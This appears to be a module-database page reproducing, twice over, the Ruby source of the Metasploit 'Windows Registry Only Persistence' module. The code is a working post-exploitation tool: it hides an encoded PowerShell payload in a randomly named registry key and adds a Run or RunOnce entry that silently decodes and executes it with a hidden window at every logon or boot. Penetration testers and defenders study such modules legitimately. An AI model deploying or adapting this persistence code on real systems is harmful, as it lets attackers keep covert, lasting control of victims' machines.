Description
This module will install a payload that is executed during boot. It will be executed either at user logon or system...
Basic Information
ID
MSF:EXPLOIT-WINDOWS-PERSISTENCE-REGISTRY-
Published
Oct 27, 2025 at 18:58
Affected Product
Affected Versions
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Exploit::Powershell
include Msf::Post::Windows::Registry
include Msf::Post::File
include Msf::Exploit::Local::Persistence
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Deprecated
moved_from 'exploits/windows/local/registry_persistence'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Registry Only Persistence',
'Description' => %q{
This module will install a payload that is executed during boot.
It will be executed either at user logon or system startup via the registry
value in "CurrentVersion\Run" or "RunOnce" (depending on privilege and selected method).
The payload will be installed completely in registry.
},
'License' => MSF_LICENSE,
'Author' => [
'Donny Maasland <donny.maasland[at]fox-it.com>', # original module
'h00die',
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter', 'shell' ],
'Targets' => [
[ 'Automatic', {} ]
],
'References' => [
['ATT&CK', Mitre::Attack::Technique::T1547_001_REGISTRY_RUN_KEYS_STARTUP_FOLDER],
['ATT&CK', Mitre::Attack::Technique::T1112_MODIFY_REGISTRY],
['URL', 'https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys'],
['URL', 'https://pentestlab.blog/2019/10/01/persistence-registry-run-keys/']
],
'DefaultTarget' => 0,
'DisclosureDate' => '2015-07-01',
'Notes' => {
'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
'Stability' => [CRASH_SAFE],
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
}
)
)
register_options([
OptEnum.new('STARTUP',
[true, 'Startup type for the persistent payload.', 'USER', ['USER', 'SYSTEM']]),
OptString.new('BLOB_REG_KEY',
[false, 'The registry key to use for storing the payload blob. (Default: random)' ]),
OptString.new('BLOB_REG_NAME',
[false, 'The name to use for storing the payload blob. (Default: random)' ]),
OptString.new('RUN_NAME',
[false, 'The name to use for the \'Run\' key. (Default: random)' ]),
OptInt.new('SLEEP_TIME',
[false, 'Amount of time to sleep (in seconds) before executing payload. (Default: 0)', 0]),
OptEnum.new('REG_KEY', [true, 'Registry Key To Install To', 'Run', %w[Run RunOnce]]),
])
end
def generate_payload_blob
opts = {
wrap_double_quotes: true,
encode_final_payload: true
}
cmd_psh_payload(payload.encoded, payload_instance.arch.first, opts).split(' ')[-1]
end
def generate_cmd(root_path, blob_key_name, blob_key_reg)
"%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"sleep #{datastore['SLEEP_TIME']}; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\""
end
def generate_blob_reg
blob_reg_key = datastore['BLOB_REG_KEY'] || "Software\\#{Rex::Text.rand_text_alphanumeric(8)}"
blob_reg_name = datastore['BLOB_REG_NAME'] || Rex::Text.rand_text_alphanumeric(8)
return blob_reg_key, blob_reg_name
end
def generate_cmd_reg
datastore['RUN_NAME'] || Rex::Text.rand_text_alphanumeric(8)
end
def install_blob(root_path, blob, blob_reg_key, blob_reg_name)
blob_reg_key = "#{root_path}\\#{blob_reg_key}"
new_key = false
if !registry_enumkeys(blob_reg_key)
unless registry_createkey(blob_reg_key)
fail_with(Failure::Unknown, "Failed to create key #{blob_reg_key}")
end
print_good("Created registry key #{blob_reg_key}")
new_key = true
end
unless registry_setvaldata(blob_reg_key, blob_reg_name, blob, 'REG_SZ')
fail_with(Failure::Unknown, 'Failed to open the registry key for writing')
end
print_good("Installed payload blob to #{blob_reg_key}\\#{blob_reg_name}")
return new_key
end
def regkey
datastore['REG_KEY']
end
def install_cmd(cmd, cmd_reg, root_path)
unless registry_setvaldata("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}", cmd_reg, cmd, 'REG_EXPAND_SZ')
fail_with(Failure::Unknown, 'Could not install run key')
end
print_good("Installed run key #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{cmd_reg}")
end
def get_root_path
return 'HKCU' if datastore['STARTUP'] == 'USER'
'HKLM'
end
def create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key)
@clean_up_rc << "reg deleteval -k '#{root_path}\\#{blob_reg_key}' -v '#{blob_reg_name}'\n"
if new_key
@clean_up_rc << "reg deletekey -k '#{root_path}\\#{blob_reg_key}'\n"
end
@clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}' -v '#{cmd_reg}'\n"
end
def check
return Msf::Exploit::CheckCode::Safe('System does not have powershell') unless registry_enumkeys('HKLM\\SOFTWARE\\Microsoft\\').include?('PowerShell')
vprint_good('Powershell detected on system')
# test write to see if we have access
root_path = get_root_path
rand = Rex::Text.rand_text_alphanumeric(15)
vprint_status("Checking registry write access to: #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{rand}")
return Msf::Exploit::CheckCode::Safe("Unable to write to registry path #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}") if registry_createkey("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{rand}").nil?
registry_deletekey("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{rand}")
Msf::Exploit::CheckCode::Vulnerable('Registry writable')
end
def install_persistence
print_status('Generating payload blob..')
blob = generate_payload_blob
print_good("Generated payload, #{blob.length} bytes")
root_path = get_root_path
print_status("Root path is #{root_path}")
blob_reg_key, blob_reg_name = generate_blob_reg
cmd = generate_cmd(root_path, blob_reg_key, blob_reg_name)
cmd_reg = generate_cmd_reg
print_status('Installing payload blob..')
new_key = install_blob(root_path, blob, blob_reg_key, blob_reg_name)
print_status('Installing run key')
install_cmd(cmd, cmd_reg, root_path)
create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key)
end
end
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Exploit::Powershell
include Msf::Post::Windows::Registry
include Msf::Post::File
include Msf::Exploit::Local::Persistence
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Deprecated
moved_from 'exploits/windows/local/registry_persistence'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Registry Only Persistence',
'Description' => %q{
This module will install a payload that is executed during boot.
It will be executed either at user logon or system startup via the registry
value in "CurrentVersion\Run" or "RunOnce" (depending on privilege and selected method).
The payload will be installed completely in registry.
},
'License' => MSF_LICENSE,
'Author' => [
'Donny Maasland <donny.maasland[at]fox-it.com>', # original module
'h00die',
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter', 'shell' ],
'Targets' => [
[ 'Automatic', {} ]
],
'References' => [
['ATT&CK', Mitre::Attack::Technique::T1547_001_REGISTRY_RUN_KEYS_STARTUP_FOLDER],
['ATT&CK', Mitre::Attack::Technique::T1112_MODIFY_REGISTRY],
['URL', 'https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys'],
['URL', 'https://pentestlab.blog/2019/10/01/persistence-registry-run-keys/']
],
'DefaultTarget' => 0,
'DisclosureDate' => '2015-07-01',
'Notes' => {
'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
'Stability' => [CRASH_SAFE],
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
}
)
)
register_options([
OptEnum.new('STARTUP',
[true, 'Startup type for the persistent payload.', 'USER', ['USER', 'SYSTEM']]),
OptString.new('BLOB_REG_KEY',
[false, 'The registry key to use for storing the payload blob. (Default: random)' ]),
OptString.new('BLOB_REG_NAME',
[false, 'The name to use for storing the payload blob. (Default: random)' ]),
OptString.new('RUN_NAME',
[false, 'The name to use for the \'Run\' key. (Default: random)' ]),
OptInt.new('SLEEP_TIME',
[false, 'Amount of time to sleep (in seconds) before executing payload. (Default: 0)', 0]),
OptEnum.new('REG_KEY', [true, 'Registry Key To Install To', 'Run', %w[Run RunOnce]]),
])
end
def generate_payload_blob
opts = {
wrap_double_quotes: true,
encode_final_payload: true
}
cmd_psh_payload(payload.encoded, payload_instance.arch.first, opts).split(' ')[-1]
end
def generate_cmd(root_path, blob_key_name, blob_key_reg)
"%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"sleep #{datastore['SLEEP_TIME']}; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\""
end
def generate_blob_reg
blob_reg_key = datastore['BLOB_REG_KEY'] || "Software\\#{Rex::Text.rand_text_alphanumeric(8)}"
blob_reg_name = datastore['BLOB_REG_NAME'] || Rex::Text.rand_text_alphanumeric(8)
return blob_reg_key, blob_reg_name
end
def generate_cmd_reg
datastore['RUN_NAME'] || Rex::Text.rand_text_alphanumeric(8)
end
def install_blob(root_path, blob, blob_reg_key, blob_reg_name)
blob_reg_key = "#{root_path}\\#{blob_reg_key}"
new_key = false
if !registry_enumkeys(blob_reg_key)
unless registry_createkey(blob_reg_key)
fail_with(Failure::Unknown, "Failed to create key #{blob_reg_key}")
end
print_good("Created registry key #{blob_reg_key}")
new_key = true
end
unless registry_setvaldata(blob_reg_key, blob_reg_name, blob, 'REG_SZ')
fail_with(Failure::Unknown, 'Failed to open the registry key for writing')
end
print_good("Installed payload blob to #{blob_reg_key}\\#{blob_reg_name}")
return new_key
end
def regkey
datastore['REG_KEY']
end
def install_cmd(cmd, cmd_reg, root_path)
unless registry_setvaldata("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}", cmd_reg, cmd, 'REG_EXPAND_SZ')
fail_with(Failure::Unknown, 'Could not install run key')
end
print_good("Installed run key #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{cmd_reg}")
end
def get_root_path
return 'HKCU' if datastore['STARTUP'] == 'USER'
'HKLM'
end
def create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key)
@clean_up_rc << "reg deleteval -k '#{root_path}\\#{blob_reg_key}' -v '#{blob_reg_name}'\n"
if new_key
@clean_up_rc << "reg deletekey -k '#{root_path}\\#{blob_reg_key}'\n"
end
@clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}' -v '#{cmd_reg}'\n"
end
def check
return Msf::Exploit::CheckCode::Safe('System does not have powershell') unless registry_enumkeys('HKLM\\SOFTWARE\\Microsoft\\').include?('PowerShell')
vprint_good('Powershell detected on system')
# test write to see if we have access
root_path = get_root_path
rand = Rex::Text.rand_text_alphanumeric(15)
vprint_status("Checking registry write access to: #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{rand}")
return Msf::Exploit::CheckCode::Safe("Unable to write to registry path #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}") if registry_createkey("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{rand}").nil?
registry_deletekey("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{rand}")
Msf::Exploit::CheckCode::Vulnerable('Registry writable')
end
def install_persistence
print_status('Generating payload blob..')
blob = generate_payload_blob
print_good("Generated payload, #{blob.length} bytes")
root_path = get_root_path
print_status("Root path is #{root_path}")
blob_reg_key, blob_reg_name = generate_blob_reg
cmd = generate_cmd(root_path, blob_reg_key, blob_reg_name)
cmd_reg = generate_cmd_reg
print_status('Installing payload blob..')
new_key = install_blob(root_path, blob, blob_reg_key, blob_reg_name)
print_status('Installing run key')
install_cmd(cmd, cmd_reg, root_path)
create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key)
end
end